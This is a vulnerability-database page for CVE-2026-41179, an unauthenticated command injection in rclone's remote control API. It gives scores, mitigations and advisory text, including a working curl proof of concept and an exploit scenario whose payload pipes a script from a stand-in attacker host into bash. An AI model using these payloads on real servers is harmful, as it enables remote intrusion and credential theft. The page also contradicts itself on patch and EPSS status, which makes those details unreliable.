What is the CVSS score of CVE-2026-41179?

CVE-2026-41179 has a CVSS 4.0 base score of 9.2 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. EPSS exploitation probability: 0.1%.

Is there a public PoC exploit available for CVE-2026-41179?

Yes, a public proof-of-concept exploit is available for CVE-2026-41179. Prioritise patching immediately. EPSS: 0.1%.

How to fix or mitigate CVE-2026-41179?

Within 24 hours: Identify all rclone instances with RC API enabled using port scanning and configuration audits; immediately disable --rc or rclone rcd if not operationally critical, or restrict network access to trusted internal networks only. Within 7 days: Implement network segmentation and firewall rules to block external access to rclone RC API ports; enable HTTP basic authentication or reverse proxy authentication in front of any exposed RC API endpoints; audit logs for suspicious HTTP requests to operations/fsinfo endpoint. Within 30 days: Monitor rclone project for security updates; prepare upgrade plan for patched versions when released; consider evaluating alternative cloud sync solutions if RC API exposure cannot be eliminated.

rclone CVE-2026-41179

CRITICAL

OS Command Injection (CWE-78)

2026-04-22 https://github.com/rclone/rclone

GHSA-jfwf-28xr-xw6q

Command Injection Ubuntu

9.2

CVSS 4.0 · Vendor: https://github.com/rclone/rclone

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Discover network-accessible RC endpoint
Delivery

Send POST to /operations/fsinfo
Exploit

Inject WebDAV backend with bearer_token_command
Execution

Backend initialization executes attacker command
Persist

Arbitrary code runs as rclone process user
Impact

Establish persistence or exfiltrate cloud credentials

Vulnerability Assessment

Weakness	CWE CWE-78 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization OS command sanitization, avoid shell exec MITRE ATT&CK 2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Remote control API must be enabled via --rc flag or rclone rcd command execution. The RC API must be network-accessible through --rc-addr configuration (not default localhost-only binding). Global HTTP authentication must be absent-deployment must not use --rc-user, --rc-pass, or --rc-htpasswd flags. What limits exploitation: Default rclone configuration binds RC to localhost (127.0.0.1) only, preventing remote access. Any configured HTTP authentication (--rc-user/--rc-pass/--rc-htpasswd) blocks unauthenticated requests. Network isolation or firewall rules restricting access to the RC port prevent external attackers from reaching the vulnerable endpoint. The vulnerability does not affect rclone deployments used solely as a command-line tool without RC API enabled.
Impact	Real-world risk is highly conditional on deployment configuration. The CVSS 4.0 score of 9.2 with vector AV:N/AC:L/AT:P/PR:N/UI:N indicates network-exploitable unauthenticated access, but the AT:P (Attack Requirements Present) qualifier is critical-exploitation requires the RC API to be both enabled and network-accessible without authentication. Default rclone behavior binds RC to localhost only, significantly limiting exposure. However, production deployments using --rc-addr for remote management without --rc-user/--rc-pass authentication are critically vulnerable. The single-request exploitation primitive with public POC code elevates urgency for affected configurations. The high CVSS base score reflects potential impact (arbitrary command execution as the rclone process user), but the moderate deployment prevalence of vulnerable configurations suggests this is a targeted risk rather than widespread. No CISA KEV listing indicates exploitation has not been observed at scale, though the GitHub security advisory confirms vendor validation of the exploit. EPSS data is unavailable, preventing automated exploitation probability assessment. Priority should be highest for internet-facing rclone RC deployments without authentication; substantially lower for default localhost-only configurations.
Exploit ScenarioDerived	An attacker discovers an organization running rclone rcd with --rc-addr 0.0.0.0:5572 for remote cloud storage management but without --rc-user authentication. The attacker sends a single crafted HTTP POST to the publicly accessible operations/fsinfo endpoint with a malicious fs parameter containing a WebDAV backend definition that specifies bearer_token_command='/bin/bash -c "curl attacker.com/shell.sh \| bash"'. The rclone server instantiates the attacker-controlled WebDAV backend, executes the command during initialization, and establishes a reverse shell to the attacker's infrastructure-all from one unauthenticated request. With shell access as the rclone process user, the attacker accesses cloud storage credentials stored in rclone configuration files and pivots to exfiltrate sensitive data from connected cloud services.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.

Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 23, 2026

Remote code execution via unauthenticated command injection in rclone's remote control API allows network attackers to execute arbitrary commands on the host system through a single HTTP request. The vulnerability affects rclone deployments with the RC API enabled (--rc or rclone rcd) that are network-accessible and lack global HTTP authentication. An attacker exploits the unprotected operations/fsinfo endpoint by crafting a WebDAV backend definition with a malicious bearer_token_command parameter, which executes during backend initialization. Confirmed exploitable on master branch (commit bf55d5e6) and release v1.73.4 with public proof-of-concept available. CVSS 9.2 reflects critical severity with network attack vector and no authentication required, though exploitation requires specific deployment configuration (AT:P). No CISA KEV listing or EPSS data available at time of analysis.

Earlier versions of this analysis (1)

v1 Apr 22, 2026 - 15:01

Unauthenticated remote command execution in rclone's remote control (RC) API allows attackers to execute arbitrary OS commands by exploiting the unprotected operations/fsinfo endpoint. The vulnerability chains together an authentication bypass on the endpoint, inline backend instantiation via rc.GetFs(), and automatic command execution through WebDAV's bearer_token_command parameter during backend initialization. Attackers can achieve single-request RCE against RC servers deployed without HTTP authentication (--rc-user/--rc-pass) and exposed beyond localhost via --rc-addr. Successfully reproduced by researchers on both local environments and public Ubuntu hosts running rclone v1.73.4 and master branch (commit bf55d5e6). No CVSS score assigned yet, but the attack requires only network access to the RC API port with no authentication, no user interaction, and results in command execution with rclone process privileges.

RemediationAI

Apply the vendor-released patch immediately for network-accessible RC deployments. Monitor https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q for the fixed version release and upgrade as soon as available-exact patched version number not yet published at time of analysis. For immediate risk reduction on vulnerable deployments, implement global HTTP authentication by adding --rc-user and --rc-pass flags to the rclone rcd command or --rc configuration (trade-off: requires credential management but provides defense-in-depth). If RC remote access is not operationally required, remove the --rc-addr flag to restrict the API to localhost-only binding (default behavior), which eliminates network attack surface but prevents legitimate remote management. For air-gapped or isolated environments where RC must remain network-accessible without authentication, implement network-layer access controls (firewall rules, VPN requirements) to restrict RC port access to trusted management networks only (trade-off: operational complexity and potential lockout risk if misconfigured). Do not rely solely on obscure port numbers or non-standard --rc-addr bindings as security controls. Verify current deployment configuration with 'ps aux | grep rclone' and check for --rc-addr without corresponding authentication flags.

Affected Packages

go github.com/ncw/rclone no fix

go github.com/rclone/rclone fix: 1.73.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from unsafe interaction between rclone's remote control (RC) API framework and its modular backend system. The operations/fsinfo endpoint was registered without the AuthRequired flag, allowing unauthenticated access. This endpoint accepts user-controlled 'fs' parameters that are processed by rc.GetFs(), which supports inline backend instantiation from JSON objects. The WebDAV backend (backend/webdav/webdav.go) includes a bearer_token_command configuration option designed for dynamic authentication token retrieval. During NewFs() initialization, this command is executed via Go's exec.Command() without input validation when bearer_token_command is present in the backend configuration. The root cause aligns with CWE-78 (OS Command Injection) where external input flows directly into command execution contexts. The CPE identifier pkg:go/github.com_rclone_rclone indicates this affects the Go implementation distributed via GitHub. The attack chain leverages legitimate features-dynamic backend configuration and token command execution-in an unintended security-critical combination.

Know when the next one hits your stack

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/rclone/rclone) PRIMARY 9.2 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SUSE CRITICAL

Red Hat 9.8 HIGH

Primary rating from Vendor (https://github.com/rclone/rclone).

CVSS VectorVendor: https://github.com/rclone/rclone

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

Present

Privileges Required

None

User Interaction

None

Vulnerable system: Confidentiality

High

Vulnerable system: Integrity

High

Vulnerable system: Availability

High

Subsequent system: Confidentiality

None

Subsequent system: Integrity

None

Subsequent system: Availability

None

Lifecycle Timeline

PoC Detected

Apr 27, 2026 - 18:18 vuln.today

Public exploit code

Patch released

Apr 23, 2026 - 02:30 nvd

Patch available

Analysis Updated

Apr 23, 2026 - 00:27 vuln.today

v2 - CVSS changed

CVSS changed

Apr 23, 2026 - 00:22 NVD

9.2 (CRITICAL)

CVE Published

Apr 22, 2026 - 14:45 nvd

CRITICAL 9.2

DescriptionCVE.org

Summary

The RC endpoint operations/fsinfo is exposed without AuthRequired: true and accepts attacker-controlled fs input. Because rc.GetFs(...) supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, bearer_token_command is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication.

Preconditions

Preconditions for this vulnerability are:

The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server
The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use
The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details

The root cause consists of the following pieces:

operations/fsinfo is not protected with AuthRequired: true
operations/fsinfo calls rc.GetFs(...) on attacker-controlled input
rc.GetFs(...) supports inline backend creation through object-valued fs
WebDAV backend initialization executes bearer_token_command

Relevant code paths:

fs/operations/rc.go
operations/fsinfo is registered without AuthRequired: true
rcFsInfo() calls rc.GetFs(ctx, in)
fs/rc/cache.go
GetFs() / GetFsNamed() can parse an object-valued fs
getConfigMap() converts attacker-controlled JSON into a backend config string
backend/webdav/webdav.go
bearer_token_command is a supported backend option
NewFs(...) calls fetchAndSetBearerToken() when bearer_token_command is set
fetchBearerToken() invokes exec.Command(...)

This creates a practical single-request unauthenticated command-execution primitive on reachable RC servers without global HTTP authentication.

This was alidated on:

current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82
latest public release tested locally: v1.73.4

This was also validated on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC

Minimal single-request form PoC

Start a vulnerable RC server:

bash

rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

Then send a single request:

bash

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/touch /tmp/rclone_fsinfo_rce_poc_marker':"

Expected result:

HTTP 200 JSON response from operations/fsinfo
/tmp/rclone_fsinfo_rce_poc_marker is created on the host

Impact

This is effectively a single-request unauthenticated command-execution vulnerability on reachable RC deployments without global HTTP authentication.

In practice, command execution in the rclone process context can lead to higher-impact outcomes such as local file read, file write, or shell access, depending on the deployed environment.

Testing performed

This was successfully reproduced:

on a local test environment
on a public amd64 Ubuntu host controlled by the tester

On the public host it was confirmed:

the unauthenticated operations/fsinfo exploit worked
command execution occurred on the host
the issue was reproducible through direct host execution

Executive ViewAI

Why It Matters

CVE-2026-41179 is a critical remote code execution vulnerability in rclone that allows unauthenticated attackers to execute arbitrary commands on systems running the remote control API in network-accessible configurations. Organizations using rclone with RC API enabled (--rc or rclone rcd) without additional network authentication face immediate risk of complete system compromise through a single HTTP request. This affects rclone v1.73.4 and the master branch, with no vendor patch currently available.

Business Impact: Severe

Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable RC API entirely if not operationally required; (2) Restrict RC API network access to internal networks only via firewall rules; (3) Implement reverse proxy authentication (nginx/Apache with HTTP Basic Auth) in front of RC API endpoints; (4) Segment rclone systems into isolated network zones with egress filtering; (5) Monitor for suspicious bearer_token_command parameters in HTTP logs; (6) Run rclone processes with minimal privilege (non-root, restricted service account).

Threat Intelligence Overview

EPSS Score

0.1%

Top 79% exploitable

Threat Intel

1 sources

Exploit

POC

Public exploit code exists

Data Quality

7 sources

Confidence: High

NVD

CVE.org

EPSS

Vulnrichment GHSA POC (1) Vendor

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC Yes

EPSS 0.1%

Patch available Yes

Active threat No

Deciding rule

CRITICAL severity + public POC available

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.